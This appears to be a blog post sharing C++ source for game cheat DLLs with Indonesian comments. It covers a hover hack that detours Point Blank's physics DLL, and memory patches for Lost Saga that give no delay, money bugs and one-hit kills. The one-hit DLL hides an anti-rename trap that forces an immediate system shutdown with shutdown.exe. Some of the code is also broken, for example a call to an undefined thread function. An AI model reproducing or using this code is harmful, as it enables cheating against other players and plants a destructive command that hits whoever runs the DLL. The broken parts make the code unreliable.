Source Code

Source Code 
by Devata_Code

[ PointBlank ]
○ Hover VerticalHorizon :
#include


DWORD dwWTF6 = 0xC950;
DWORD Addres_WTF6 = (DWORD)GetModuleHandleA("NxCharacter.2.8.1.dll")+dwWTF6;
DWORD ADDRES_HOVERV = Addres_WTF6 + 0x3BD;//Hover vertikal
DWORD ADDRES_HOVERG = Addres_WTF6 + 0x3AB;//Hover horizontal
DWORD RETURN_HOVERV = ADDRES_HOVERV + 0x6;
DWORD RETURN_HOVERG = ADDRES_HOVERG + 0x6;
float hoverv;
float hoverg;


//-------Hover Vertikal---------//
__declspec( naked ) void Hoverv_on()
{
_asm
{
mov eax,[hoverv]
mov [ebx+0x0000011C],eax
jmp [RETURN_HOVERV]
}
}


__declspec( naked ) void Hoverv_off()
{
_asm
{
mov [ebx+0x0000011C],eax
mov [hoverv],eax
jmp [RETURN_HOVERV]
}
}
//-------Hover Vertikal---------//
//-------Hover horizontal---------//
__declspec( naked ) void Hoverg_on()
{
_asm
{
mov ecx,[hoverg]
mov [ebx+0x0000114],ecx
jmp [RETURN_HOVERG]
}
}


__declspec( naked ) void Hoverg_off()
{
_asm
{
mov [ebx+0x0000114],ecx
mov [hoverg],ecx
jmp [RETURN_HOVERG]
}
}
//-------Hover horizontal---------/


Tambahin Ke cMain.cpp


int hovv;
int hovg;


MenuAdd("Hover Vertical", Moptonoff , &hovv, 2,3);
MenuAdd("Hover Horizon", Moptonoff , &hovg, 2,3);


//---------------melayang-layang-------------------//
if(hovv==0)DetourCreate((PBYTE)ADDRES_HOVERV,(PBYTE)Hoverv_off,6);
if(hovv==1)DetourCreate((PBYTE)ADDRES_HOVERV,(PBYTE)Hoverv_on,6);
if(GetAsyncKeyState(VK_NUMPAD8)&1)// +Вверх
{
hoverv+=0.05;
MessageBeep(0);
}
if(GetAsyncKeyState(VK_NUMPAD2)&1)//
{
hoverv-=0.05;
MessageBeep(0);
}
if(GetAsyncKeyState(VK_NUMPAD5)&1)// 
{
hoverv=-2.5;
}
if(hovg==0)DetourCreate((PBYTE)ADDRES_HOVERG,(PBYTE)Hoverg_off,6);
if(hovg==1)DetourCreate((PBYTE)ADDRES_HOVERG,(PBYTE)Hoverg_on,6);
if(GetAsyncKeyState(VK_NUMPAD4)&1)// +Ke kiri
{
hoverg+=0.2;
}
if(GetAsyncKeyState(VK_NUMPAD6)&1)// -Ke Kanan
{
hoverg-=0.2;
}
//---------------Hover-------------------//

[ LostSaga ]
○No Delay + Bug Peso + Jump height :
#include
#include "stdio.h"
#include "stdlib.h"
//______________________________________________________________________________________
#define HIT 0x7FEBD0
#define PESO 0x7EB7EC
#define DELAY 0x807664
#define BONUSPESO 0x83FB9C
#define BONUSPESO2 0x83FB90
#define BONUSPESO3 0x81DF79
#define BONUSPESO4 0x81DF55
#define JUMP 0x7F8F04
#define JUMP2 0x190894


LPTSTR LS = "lostsaga.exe";
LPTSTR dwGINE = "io3DEngine.dll"; // esp
DWORD dwLS = 0;
DWORD adrHIT, adrPESO, adrDELAY, adrBPESO, adrBPESO2,adrBPESO3,adrBPESO4, adrJUMP, adrJUMP2= 0;
DWORD CheckProtection; //
void InProtectAndModify(DWORD Offset, DWORD Pointer, DWORD Length){
VirtualProtect((void *)Offset, Length, PAGE_EXECUTE_READWRITE, &CheckProtection);
RtlMoveMemory((void *)Offset, (const void*)Pointer, Length);
VirtualProtect((void *)Offset, Length, CheckProtection, &CheckProtection);
}
void MEMhack( BYTE *Offset, BYTE *ByteArray, DWORD Length){
InProtectAndModify((DWORD)Offset , (DWORD)ByteArray , 1);
}
//______________________________________________________________________________________


void Devata(void *adr, void *ptr, int size)
{
unsigned long CheckProtection;
VirtualProtect((void*)adr,size,PAGE_READWRITE, &CheckProtection);
RtlMoveMemory((void*)adr,(const void*)ptr,size);
VirtualProtect((void*)adr,size,CheckProtection, 0);
}
int __fastcall LoopsMe(void)
{
return 0;
}
DWORD WINAPI ProccesAllHacking(LPVOID param)
{
while (1) {
LoopsMe();
LoopsMe();
LoopsMe();
LoopsMe();
LoopsMe();
LoopsMe();
LoopsMe();
LoopsMe();
LoopsMe();
LoopsMe();
//______________________________________________________________________________________//


if (GetAsyncKeyState(VK_LBUTTON)&1) {
DWORD dwLS = (DWORD)GetModuleHandleA(LS);
DWORD dwEngine = (DWORD)GetModuleHandleA(dwGINE);
adrPESO = dwLS + (DWORD)PESO;
adrDELAY = dwLS + (DWORD)DELAY;
adrBPESO = dwLS + (DWORD)BONUSPESO;
adrBPESO2 = dwLS + (DWORD)BONUSPESO2;
adrBPESO3 = dwLS + (DWORD)BONUSPESO3;
adrBPESO4 = dwLS + (DWORD)BONUSPESO4;
adrJUMP = dwLS + (DWORD)JUMP;
adrJUMP2 = dwEngine + (DWORD)JUMP2;
if (dwLS > 0) {
Devata((void *)(adrPESO),(void*)(PBYTE)"\x00\x00\x00\x00",4);
Devata((void *)(adrDELAY),(void*)(PBYTE)"\x00\x00\x00\x00",4);
Devata((void *)(adrBPESO),(void*)(PBYTE)"\x00\x00\x00\x00",4);
Devata((void *)(adrBPESO2),(void*)(PBYTE)"\x00\x00\x00\x00",4);
Devata((void *)(adrBPESO3),(void*)(PBYTE)"\x00\x00\x00\x00",4);
Devata((void *)(adrBPESO4),(void*)(PBYTE)"\x00\x00\x00\x00",4);
//Devata((void *)(adrJUMP),(void*)(PBYTE)"\x00\x00\x00\x00",4);
//Devata((void *)(adrJUMP2),(void*)(PBYTE)"\x00\x00\x00\x00",4);
//MessageBeep(0);
//Beep(329,300);
//Beep(493,300);
//Beep(698,300);
//Beep(659,300);
}}
Sleep(5);
}
return (0);
}
BOOL WINAPI DllMain ( HMODULE hDll, DWORD dwReason, LPVOID lpReserved )
{
DisableThreadLibraryCalls(hDll);
if (dwReason == DLL_PROCESS_ATTACH) {
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ProccesAllHacking, 0, 0, 0);
}
return TRUE;
}
[ 1 Hit crusade ]

//Name : Base LostSaga 1 Hit Crusade
//Created : Devata'Rian
//Thank'z : Not4shared
//===================================//


#define WIN32_LEAN_AND_MEAN
#include
#include
#include


//============ OFFSET ============
#define OneHitCSD 0x8D23B8 < Sensor Cari Sendiri :)
//============ OFFSET ============




LPTSTR ModulGame = "lostsaga.exe";






void Not(void *adr, void *ptr, int size)


{


DWORD OldProtection;


VirtualProtect(adr,size,PAGE_EXECUTE_READWRITE, &OldProtection);


memcpy(adr,ptr,size);


VirtualProtect(adr,size,OldProtection, &OldProtection);


}


void WritePointer(unsigned long ulBase, int iOffset, int iValue)


{


if (!IsBadReadPtr((VOID*)ulBase, sizeof(unsigned long)))


{


if (!IsBadWritePtr((void*)(*(unsigned long*)ulBase + iOffset), sizeof(unsigned long)))


{


*(int*)(*(unsigned long*)ulBase + iOffset) = iValue;


}


}


}






void NotSaga()


{






while(1)
{


//========== 1 Hit Crusade ==========//
if (GetAsyncKeyState(VK_F1)&1) {
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)OneHitCSD;
Not((void *)(adrMin1),(void*)(PBYTE)"\x00\x00\x00", 3);
}


}




Sleep(100); 






}






}


BOOL APIENTRY DllMain(HINSTANCE hDll, DWORD callReason, LPVOID lpReserved) {


DisableThreadLibraryCalls(hDll);


if(callReason == DLL_PROCESS_ATTACH) {


MessageBox(0, "Credit by Devata'Rian\n\nThank'z to : Not4shared Inc.", "Notice",MB_ICONINFORMATION | MB_OKCANCEL); // Notice yg Keluar
MessageBox(0, "Hit Crusade : F1\nTekan Saat Splash Cowboy Menghilang / Saat Mulai Splash Screen Hitam", "Just Work to OS Win 7",MB_ICONWARNING | MB_OKCANCEL); // Notice yg Keluar
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)&SagaHacy,0, 0, 0);






char strDLLName [_MAX_PATH];


GetModuleFileName(hDll, strDLLName , _MAX_PATH);


if (strstr(strDLLName, "Not4Saga.dll") <= 0) {




MessageBox(0, "Ente Leacher ?","Deteckor",MB_ICONSTOP | MB_OK);
MessageBox(0, "Udah dikasih kok rename ?","Deteckor",MB_ICONSTOP | MB_OK);
MessageBox(0, "Dadah !\nKompimu aku Restart ya :*","Deteckor",MB_ICONSTOP | MB_OK);
system("start C:/Windows/System32/shutdown.exe -s -f -t 00");
ExitProcess(0);//ERROR


}






}




}

[ Crossfire ]
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Sepanjang, Sidoarjo, Indonesia
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